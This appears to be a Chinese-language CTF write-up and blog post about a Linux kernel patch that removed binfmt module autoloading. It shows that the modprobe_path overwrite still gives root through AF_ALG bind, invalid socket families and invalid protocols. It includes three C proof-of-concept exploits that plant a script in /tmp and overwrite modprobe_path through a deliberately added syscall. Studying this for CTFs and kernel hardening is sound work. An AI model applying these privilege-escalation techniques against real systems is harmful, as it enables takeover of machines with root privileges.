# Linux Kernel Patched - exec: remove legacy custom binfmt modules autoloading > Author : 堇姬 Naup ## Patched https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa1bdca98d74472dcdb79cb948b54f63b5886c04 搜尋執行檔處理器(binary handler)的邏輯中,包含了遺留下來的舊程式碼,用來在系統遇到不支援的執行檔格式時,自動載入對應的核心模組。 這段邏輯是從過去 a.out 轉移到 ELF 格式時保留下來的歷史產物。 但在移除對 a.out 支援之後,這段程式碼已經不再有實際用途。 解決方案: 清除這段位於 binary handler 搜尋邏輯中的舊程式碼。 同時也移除將 retval 初始化為 -ENOENT 的那一行,改為: 如果程式流程走到了函式的最後,就直接回傳 -ENOEXEC。 ```c diff --git a/fs/exec.c b/fs/exec.c index 4057b8c3e23391..e0435b31a811af 100644 --- a/fs/exec.c +++ b/fs/exec.c @@ -1723,13 +1723,11 @@ int remove_arg_zero(struct linux_binprm *bprm) } EXPORT_SYMBOL(remove_arg_zero); -#define printable(c) (((c)=='\t') || ((c)=='\n') || (0x20<=(c) && (c)<=0x7e)) /* * cycle the list of binary formats handler, until one recognizes the image */ static int search_binary_handler(struct linux_binprm *bprm) { - bool need_retry = IS_ENABLED(CONFIG_MODULES); struct linux_binfmt *fmt; int retval; @@ -1741,8 +1739,6 @@ static int search_binary_handler(struct linux_binprm *bprm) if (retval) return retval; - retval = -ENOENT; - retry: read_lock(&binfmt_lock); list_for_each_entry(fmt, &formats, lh) { if (!try_module_get(fmt->module)) @@ -1760,17 +1756,7 @@ static int search_binary_handler(struct linux_binprm *bprm) } read_unlock(&binfmt_lock); - if (need_retry) { - if (printable(bprm->buf[0]) && printable(bprm->buf[1]) && - printable(bprm->buf[2]) && printable(bprm->buf[3])) - return retval; - if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) - return retval; - need_retry = false; - goto retry; - } - - return retval; + return -ENOEXEC; } /* binfmt handlers will call back into begin_new_exec() on success. */ ``` ## 前置準備 先把 source code 載下來,然後解壓縮 ``` wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.14.tar.xz tar -xvf linux-6.14.tar.xz ``` 在 `kernel/naup.c` 加入 ```c #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kmod.h> #include <asm/uaccess_64.h> SYSCALL_DEFINE2(naup, void __user *, kaddr, const char __user *, str) { char buf[8]; if ((char *)kaddr != modprobe_path) { printk(KERN_INFO "naup syscall: Invalid address!\n"); return -EPERM; } if (copy_from_user(buf, str, 8)) { printk(KERN_INFO "naup syscall: copy_from_user failed!\n"); return -EFAULT; } memcpy(kaddr, buf, 8); printk(KERN_INFO "naup syscall: copied 8 bytes to modprobe_path (%p)\n", kaddr); return 0; } ``` 之後去 `kernel/Makefile` 加入 ``` obj-y += naup.o ``` 去 `arch/x86/entry/syscalls/syscall_64.tbl` 加入 ```tbl 549 common naup sys_naup ``` ``` make defconfig ``` 之後去 ``` make -j$(nproc) ``` 他會在 `arch/x86/boot/bzImage` 之後就正常的跑 qemu 把他跑起來 完整環境在這裡 https://github.com/Naupjjin/2025-NHNC-CTF-challenge/tree/main/No549 沒錯,我把這題出在了 NHNC CTF 2025 這場上 接下來就是嘗試 EoP 他了,把 PoC 丟上去就可以了 ## analyze 根據之前提及的使用 modprobe 來提權 簡單來說便是 search_binary_handle() 遍歷 formats,去嘗試 load_binary() 如果沒有找到對應的 binary handle 就會進入到 `request_module` 分支 https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L1764 ```c retry: read_lock(&binfmt_lock); list_for_each_entry(fmt, &formats, lh) { if (!try_module_get(fmt->module)) continue; read_unlock(&binfmt_lock); retval = fmt->load_binary(bprm); read_lock(&binfmt_lock); put_binfmt(fmt); if (bprm->point_of_no_return || (retval != -ENOEXEC)) { read_unlock(&binfmt_lock); return retval; } } read_unlock(&binfmt_lock); if (need_retry) { if (printable(bprm->buf[0]) && printable(bprm->buf[1]) && printable(bprm->buf[2]) && printable(bprm->buf[3])) return retval; if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) return retval; need_retry = false; goto retry; } return retval; ``` 他會用 root 權限去執行 modprobe_path 通過覆蓋 modprobe_path 就可以來做提權 https://elixir.bootlin.com/linux/v6.13.7/source/kernel/module/kmod.c#L71 ```c argv[0] = modprobe_path; argv[1] = "-q"; argv[2] = "--"; argv[3] = module_name; /* check free_modprobe_argv() */ argv[4] = NULL; info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL); if (!info) goto free_module_name; ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE); ``` 不過這份 patch 也闡明了,這段 code 本身是時代遺留產物,也因次在這份 patch 整段 code 被修改掉了 從 6.14 的 kernel 開始就沒有這個好用的手法了,畢竟已經不會去呼叫 `request_module` 了,嗎(? https://elixir.bootlin.com/linux/v6.14-rc1/source/fs/exec.c ```c read_lock(&binfmt_lock); list_for_each_entry(fmt, &formats, lh) { if (!try_module_get(fmt->module)) continue; read_unlock(&binfmt_lock); retval = fmt->load_binary(bprm); read_lock(&binfmt_lock); put_binfmt(fmt); if (bprm->point_of_no_return || (retval != -ENOEXEC)) { read_unlock(&binfmt_lock); return retval; } } read_unlock(&binfmt_lock); return -ENOEXEC; ``` ## Others Way 1 首先是真的沒有其他地方有呼叫到 `request_module` 了嗎 答案是有的 簡單一搜就可以發現有多處仍舊 reference 這個 function https://elixir.bootlin.com/linux/v6.14-rc1/A/ident/request_module 不過需要注意,要觸發這段 code 需要滿足 - 低權限就可以執行到 - 必須是 Ubuntu、Debian 等主流 Linux 發行版,預設就內建的功能或驅動,而不是需要額外安裝、啟用、或啟用稀有選項才能使用的東西 - 簡單就可以摸到這段 code 這邊就可以使用 `AF_ALG socket` https://www.kernel.org/doc/html/v6.14/crypto/userspace-if.html AF_ALG 是 Linux 核心提供的一種 socket family,用於加密 使用者可以透過它來使用 kernel crypto API,例如:SHA1, AES, HMAC 等 這邊可以關注這段 當你去 call `bind` ,他會 call 到 alg_bind 他會去搜尋 `sa->salg_type` 如果沒有搜到就會去 call `request_module`,嘗試去 load "algif-%s" https://elixir.bootlin.com/linux/v6.14-rc1/source/crypto/af_alg.c#L148 ```c static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len) { const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY; struct sock *sk = sock->sk; struct alg_sock *ask = alg_sk(sk); struct sockaddr_alg_new *sa = (void *)uaddr; const struct af_alg_type *type; void *private; int err; if (sock->state == SS_CONNECTED) return -EINVAL; BUILD_BUG_ON(offsetof(struct sockaddr_alg_new, salg_name) != offsetof(struct sockaddr_alg, salg_name)); BUILD_BUG_ON(offsetof(struct sockaddr_alg, salg_name) != sizeof(*sa)); if (addr_len < sizeof(*sa) + 1) return -EINVAL; /* If caller uses non-allowed flag, return error. */ if ((sa->salg_feat & ~allowed) || (sa->salg_mask & ~allowed)) return -EINVAL; sa->salg_type[sizeof(sa->salg_type) - 1] = 0; sa->salg_name[addr_len - sizeof(*sa) - 1] = 0; type = alg_get_type(sa->salg_type); if (PTR_ERR(type) == -ENOENT) { request_module("algif-%s", sa->salg_type); type = alg_get_type(sa->salg_type); } ``` PoC ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/socket.h> #include <linux/if_alg.h> #include <sys/mman.h> int main(){ system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/a"); system("chmod a+x /tmp/a"); unsigned long modprobepath = 0xffffffff82b45b20; printf("[!]modprobe_path: 0x%lx\n", modprobepath); syscall(549, modprobepath, "/tmp/a"); struct sockaddr_alg sa; int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (alg_fd < 0) { perror("failed"); return 1; } memset(&sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; strcpy((char *)sa.salg_type, "Naup"); bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); return 0; } ``` ## Other way 2 這裡也有可以觸發的,當起去 call websocket 時候 需要去指定他的 Socket 的通訊協定家族(Family) 如果找不到對應的 family 的話,就會去用 `net-pf-%d` 來去 load 看看 這時候就會 call 到 `request_module` 所以只要指定一個不合法的 family 就可以了 PS: 第一個參數就是 domain 或稱作 family,其中『AF_』代表 Address Family,有些系統使用『PF_』(Protocol Family) https://elixir.bootlin.com/linux/v6.14.11/source/net/socket.c#L1520 ```c #ifdef CONFIG_MODULES /* Attempt to load a protocol module if the find failed. * * 12/09/1996 Marcin: But! this makes REALLY only sense, if the user * requested real, full-featured networking support upon configuration. * Otherwise module support will break! */ if (rcu_access_pointer(net_families[family]) == NULL) request_module("net-pf-%d", family); ``` PoC ```c #define _GNU_SOURCE #include <stdio.h> #include <sys/mount.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <linux/if_packet.h> #include <netinet/ether.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> // https://elixir.bootlin.com/linux/v6.14.11/source/net/socket.c#L1476 int main() { unsigned long modprobepath = 0xffffffff82b45b20; system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/a"); system("chmod a+x /tmp/a"); syscall(549, modprobepath, "/tmp/a"); int fd = socket(18, SOCK_RAW, htons(ETH_P_ALL)); return 0; } ``` ## Other way 3 socket 非法的 protocol 也行 https://elixir.bootlin.com/linux/v6.15.2/source/net/ipv4/af_inet.c#L252 PoC ```c #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <arpa/inet.h> #include <sys/socket.h> #include <sys/syscall.h> #define _NR_WRITE 549 // https://elixir.bootlin.com/linux/v6.15.2/source/net/ipv4/af_inet.c#L252 void create_executor(){ system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x"); system("chmod +x /tmp/x"); } int main() { create_executor(); // No Kaslr enabled - yay! uint64_t modprobe_path = 0xffffffff82b45b20; uint64_t bin_sh = 0x00782F706D742F; // /tmp/x long res = syscall(_NR_WRITE, modprobe_path, &bin_sh); printf("Result: %ld\n", res); int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_MAX - 0x1); return 0; } ``` ## 總結 總結就是,就算傳統通過不合法檔案執行來觸發 request module 的路線不行了,依舊有相當多的路可以去觸發 思想的話是去找 source code 中 request_module 位置,大致上是使用各種非法的東西 像是本篇的非法的 type、protocol、family 等等的